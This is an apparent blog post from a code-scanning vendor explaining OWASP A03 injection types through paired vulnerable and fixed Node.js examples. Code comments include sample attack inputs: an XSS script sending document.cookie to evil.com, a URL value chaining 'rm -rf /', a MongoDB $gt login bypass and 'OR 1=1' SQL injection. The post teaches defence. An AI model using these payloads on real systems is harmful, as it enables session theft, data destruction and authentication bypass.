← Blog
·11 min read

OWASP A03 Injection Attacks Guide

OWASP A03 Injection covers SQL, NoSQL, XSS, and command injection. See vulnerable vs. secure code examples and fix each type before it ships.

Rod

Founder & Developer

OWASP A03:2021 Injection dropped from #1 to #3 on the 2021 list, but that's partly because OWASP folded XSS into the category. The underlying problem got bigger, not smaller. Injection flaws appear in 94% of tested applications, with 274,000+ occurrences documented. It covers SQL injection, NoSQL injection, command injection, XSS, server-side template injection, and more.

This guide covers each type with real, copy-paste Node.js examples — what the vulnerable code looks like, why it breaks, and the exact fix.


Why Injection Still Dominates After 20 Years

Injection attacks work because applications trust user input. That's it. Every injection variant is the same root cause — data crosses the boundary into an interpreter without validation or escaping.

The 2021 OWASP update merged Cross-Site Scripting (XSS) into A03 because it's structurally identical to SQL injection: you're injecting code into an interpreter (the browser's JavaScript engine) through unvalidated input. Three categories became one.

CWE-89 (SQL Injection), CWE-79 (Cross-site Scripting), and CWE-77 (Command Injection) are the most common members of this family. They're also among the most exploited in real breaches.

The reason injection persists isn't ignorance — it's pressure. You're shipping fast. AI tools write the query. You accept it. The parameterization detail gets skipped because the code works in testing. Then it fails in production in ways that make the news.


Every Type of Injection Attack Explained

SQL Injection (CWE-89)

The classic. User input lands in a SQL query string and the database executes whatever the attacker typed.

// BAD: String interpolation turns user input into executable SQL
const id = req.params.id; // attacker sends: 1 OR 1=1
const result = await db.query(`SELECT * FROM users WHERE id = ${id}`);
// Runs: SELECT * FROM users WHERE id = 1 OR 1=1
// Returns every user in the database
// GOOD: Parameterized query — user input is data, never code
const id = req.params.id;
const result = await db.query('SELECT * FROM users WHERE id = $1', [id]);
// The database treats $1 as a value, not executable SQL
// An injection attempt returns zero rows instead of all rows

The fix isn't complicated. Parameterized queries have existed since the 1990s. The problem is that string interpolation feels natural in JavaScript and produces code that works — until an attacker tries it.

ORMs like Prisma and Drizzle use parameterized queries by default, which is one of their real security advantages. But raw query strings inside an ORM (Prisma.$queryRaw) can still be vulnerable.

NoSQL Injection

Document stores like MongoDB don't use SQL, but they're not immune. MongoDB queries use operator objects, and if you pass those objects directly from user input, the attacker can manipulate the query logic.

// BAD: req.body.email could be { $gt: "" } instead of "user@example.com"
const user = await db.collection('users').findOne({
  email: req.body.email,
  password: req.body.password,
});
// Attacker sends: { "email": { "$gt": "" }, "password": { "$gt": "" } }
// MongoDB finds the first user where email > "" — which is every user
// Authentication bypassed without knowing any password
// GOOD: Validate with Zod before it reaches the database
import { z } from 'zod';
 
const loginSchema = z.object({
  email: z.string().email(),     // must be a valid email string, not an object
  password: z.string().min(8),   // must be a string, not an operator
});
 
const parsed = loginSchema.parse(req.body); // throws if input is invalid
const user = await db.collection('users').findOne({
  email: parsed.email,
  password: parsed.password,
});

Zod's type coercion means an object like { $gt: "" } fails .string() validation immediately. The query never runs.

Command Injection (CWE-77)

Your app shells out to run a system command with user-provided data. The attacker appends their own command using shell metacharacters.

import { exec } from 'child_process';
 
// BAD: Attacker sends url = "https://example.com && rm -rf /"
const url = req.body.url;
exec(`git clone ${url}`, (err, stdout) => {
  // The shell interprets && as "and run this next command too"
  // rm -rf / runs as the server process user
});
import { execFile } from 'child_process';
 
// GOOD: execFile doesn't invoke a shell — no metacharacter interpretation
const url = req.body.url;
execFile('git', ['clone', url], (err, stdout) => {
  // url is passed as a literal argument to git, not interpreted by the shell
  // && rm -rf / is treated as part of the URL string and fails git validation
});

exec() hands the command string to a shell (/bin/sh), which interprets &&, ;, |, backticks, and $(). execFile() calls the binary directly — no shell, no interpretation. Use execFile() or spawn() with separate arguments whenever you shell out with user data.

Cross-Site Scripting — XSS (CWE-79)

XSS injects JavaScript into pages that other users view. The browser executes it with the victim's credentials. In a stored XSS attack, the payload sits in your database and runs for every user who loads that page.

// BAD: Renders raw HTML from user-supplied content — classic stored XSS vector
function CommentBlock({ comment }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: comment.body }} />
    // If comment.body is "<script>fetch('https://evil.com/?c='+document.cookie)</script>"
    // every user who views this comment sends their session cookie to the attacker
  );
}
import DOMPurify from 'dompurify';
 
// GOOD: Sanitize before rendering — DOMPurify strips dangerous tags and attributes
function CommentBlock({ comment }) {
  const clean = DOMPurify.sanitize(comment.body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

React's JSX escapes string values by default ({comment.body} is safe). The danger is dangerouslySetInnerHTML — which is literally named to warn you. If you don't need to render HTML, don't. If you do, sanitize it.

For DOM-based XSS, the attack lives entirely in client-side JavaScript. Sinks like innerHTML, document.write(), eval(), and location.href = userInput are the usual culprits. Our encyclopedia entry on DOM-Based XSS goes deeper on the specific sinks to audit.

Server-Side Template Injection (SSTI)

Template engines like Handlebars, Pug, or EJS evaluate expressions inside templates. If user input reaches the template as code rather than data, the server evaluates it.

// BAD: User input is compiled as a template expression
const Handlebars = require('handlebars');
const userTemplate = req.body.template; // attacker sends: {{#with "constructor"}}...
const template = Handlebars.compile(userTemplate);
const output = template({});
// Handlebars' no-prototype-access isn't enabled — can leak server internals
// GOOD: Treat user input as data inside a fixed template, never as the template itself
const Handlebars = require('handlebars');
const template = Handlebars.compile('Hello, {{name}}!'); // template is hardcoded
const output = template({ name: req.body.name }); // user input is data, not code

SSTI can escalate to Remote Code Execution (RCE). It's particularly nasty because the attack surface isn't obvious — it shows up in features like custom email templates, user-defined report formats, or any "preview your template" UI. The Server-Side Template Injection entry in our security encyclopedia covers language-specific payloads.

LDAP Injection and Header Injection

LDAP injection targets apps that query directory services (Active Directory, OpenLDAP). User input inserted into an LDAP filter without escaping lets attackers modify the filter logic — the same root cause as SQL injection but for a different query language.

Header injection (also called HTTP response splitting) occurs when user input lands in an HTTP response header without sanitization. A \r\n in the input lets the attacker inject new headers or even a fake response body. Never build headers from user input directly.


A Real Breach: British Airways 2018

In 2018, British Airways suffered a breach that exposed the payment card data of 500,000 customers. The attack was a stored XSS skimming attack: attackers injected a malicious script into the booking page that silently forwarded payment details to an attacker-controlled server as customers typed them in.

The injected script was 22 lines. It collected form data — name, address, card number, CVV, expiry — and sent it via HTTPS to a lookalike domain (baways.com). The breach ran for two weeks before detection.

British Airways was fined £20 million by the UK's ICO under GDPR. The root cause was a failure to sanitize content loaded from third-party scripts and a missing Content Security Policy that would have blocked the unauthorized outbound request.

The technical fix would have been: sanitize all user-supplied HTML, audit third-party script inclusions, and add a CSP header restricting which domains could receive form data. Twenty-two lines of JavaScript cost the company £20 million.


Preventing OWASP Injection Attacks: Five Strategies That Work

1. Parameterized Queries — Always

For SQL: never concatenate. Always use $1 placeholders with the pg library, ? with MySQL, or let your ORM handle it. If you're writing raw SQL strings with variables anywhere in your codebase, that's a finding.

2. Input Validation With Zod

Validate the shape and type of every external input before it touches any interpreter. This catches NoSQL injection operators, unexpected types, and oversized payloads before they can do damage.

import { z } from 'zod';
 
// Defines exactly what's acceptable — anything else throws before it reaches the DB
const createPostSchema = z.object({
  title: z.string().min(1).max(200),
  body: z.string().max(10000),
  tags: z.array(z.string().max(50)).max(10),
});
 
const data = createPostSchema.parse(req.body);

Our No Input Validation encyclopedia entry documents what happens when this step is skipped.

3. Output Encoding for HTML Contexts

Validation controls what enters your system. Output encoding controls what the browser renders. These aren't the same layer.

  • Use React's JSX for text content — it encodes by default
  • Use DOMPurify.sanitize() before any dangerouslySetInnerHTML
  • Never concatenate user strings into innerHTML
  • The dangerouslySetInnerHTML Without Sanitization encyclopedia entry shows exactly what attackers can do with this

4. Content Security Policy Headers

A Content Security Policy (CSP) HTTP header tells the browser which sources are allowed to load scripts, styles, and other resources. Even if an XSS payload gets injected, a tight CSP prevents the attacker-controlled domain from receiving the exfiltrated data.

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; form-action 'self';

This single header would have limited the blast radius of the British Airways breach. If you're not setting security headers, our free header checker shows your current grade in seconds.

5. Avoid eval() and Dynamic Code Execution

eval(), new Function(), setTimeout('code string'), and setInterval('code string') execute arbitrary JavaScript. They're almost never necessary and they turn any XSS or injection into full code execution.

// BAD: eval() with user input = remote code execution
const result = eval(req.body.expression);
 
// GOOD: parse the value, don't execute it
const result = Number(req.body.expression); // or use a safe math library

The eval() with User Input encyclopedia entry covers every eval-adjacent API that's equally dangerous.


What Most Articles Miss: Prototype Pollution as an Injection Vector

Prototype pollution (CWE-1321) is an injection-adjacent attack specific to JavaScript. An attacker supplies a key like __proto__ or constructor.prototype in a parsed JSON object, and a careless Object.assign() or deep merge modifies the base Object.prototype. From there, every object in the application inherits the attacker's injected property.

This has triggered RCE in several popular Node.js libraries. It's less obvious than SQL injection but the fix is similar: validate the shape of incoming data before passing it to merge functions. Our Prototype Pollution encyclopedia entry shows exactly which merge patterns are vulnerable.


How to Find Injection Vulnerabilities in Your Code

We've scanned hundreds of real repositories and injection-related findings are consistently in the top three. The most common patterns:

  • Template literals inside db.query(), db.execute(), or pool.query() calls
  • req.body fields passed directly to collection.find() without Zod validation
  • exec() or execSync() with any dynamic string argument
  • dangerouslySetInnerHTML without a prior DOMPurify.sanitize() call
  • eval() anywhere in application code (not test code)

Static analysis catches these reliably because they're syntactic patterns, not runtime behavior. You don't need to run the app to find them.

Data Hogo runs pattern matching across your codebase for injection-prone constructs — alongside checks for injection and other OWASP vulnerabilities, exposed secrets, outdated dependencies, and missing security headers. The scan runs on your GitHub repo and takes under 60 seconds.

Scan your repo for injection vulnerabilities free →


Frequently Asked Questions

What is OWASP A03:2021 Injection?

OWASP A03:2021 Injection is the third category in the OWASP Top 10, covering attacks where untrusted data is sent to an interpreter as part of a command or query. This includes SQL injection, NoSQL injection, command injection, XSS (cross-site scripting), SSTI, LDAP injection, and header injection. It was found in 94% of applications tested, with over 274,000 individual occurrences documented.

What is the difference between SQL injection and NoSQL injection?

SQL injection targets relational databases by inserting malicious SQL syntax into queries. NoSQL injection targets document stores like MongoDB by manipulating query operators — for example, passing { $gt: '' } as a field value to bypass authentication. The attack surface is different but the root cause is identical: trusting user input without validation or parameterization.

How do you prevent SQL injection in Node.js?

Use parameterized queries (also called prepared statements) instead of string concatenation. With the pg library: db.query('SELECT * FROM users WHERE id = $1', [id]) — never db.query(`SELECT * FROM users WHERE id = ${id}`). ORMs like Prisma and Drizzle use parameterized queries by default. Never build query strings with user input, even for column names or ORDER BY clauses.

What is cross-site scripting (XSS) and is it an injection attack?

Yes. XSS is an injection attack where malicious JavaScript is injected into web pages that other users view. OWASP A03:2021 explicitly folded XSS into the Injection category for the first time. There are three types: Stored XSS (persisted in the database), Reflected XSS (from URL parameters), and DOM-based XSS (from client-side JavaScript reading unsafe sources). Prevention: output encoding, DOMPurify for HTML, and a Content Security Policy header.

How do I detect injection vulnerabilities in my codebase?

Static analysis tools scan your code for injection-prone patterns: string concatenation in queries, eval() with user input, exec() with dynamic arguments, dangerouslySetInnerHTML without sanitization, and missing input validation. Data Hogo runs these checks automatically on your GitHub repo — the first scan is free and takes under 60 seconds.

OWASPinjectionSQL injectionXSSsecurityNode.jsJavaScriptvibe-coding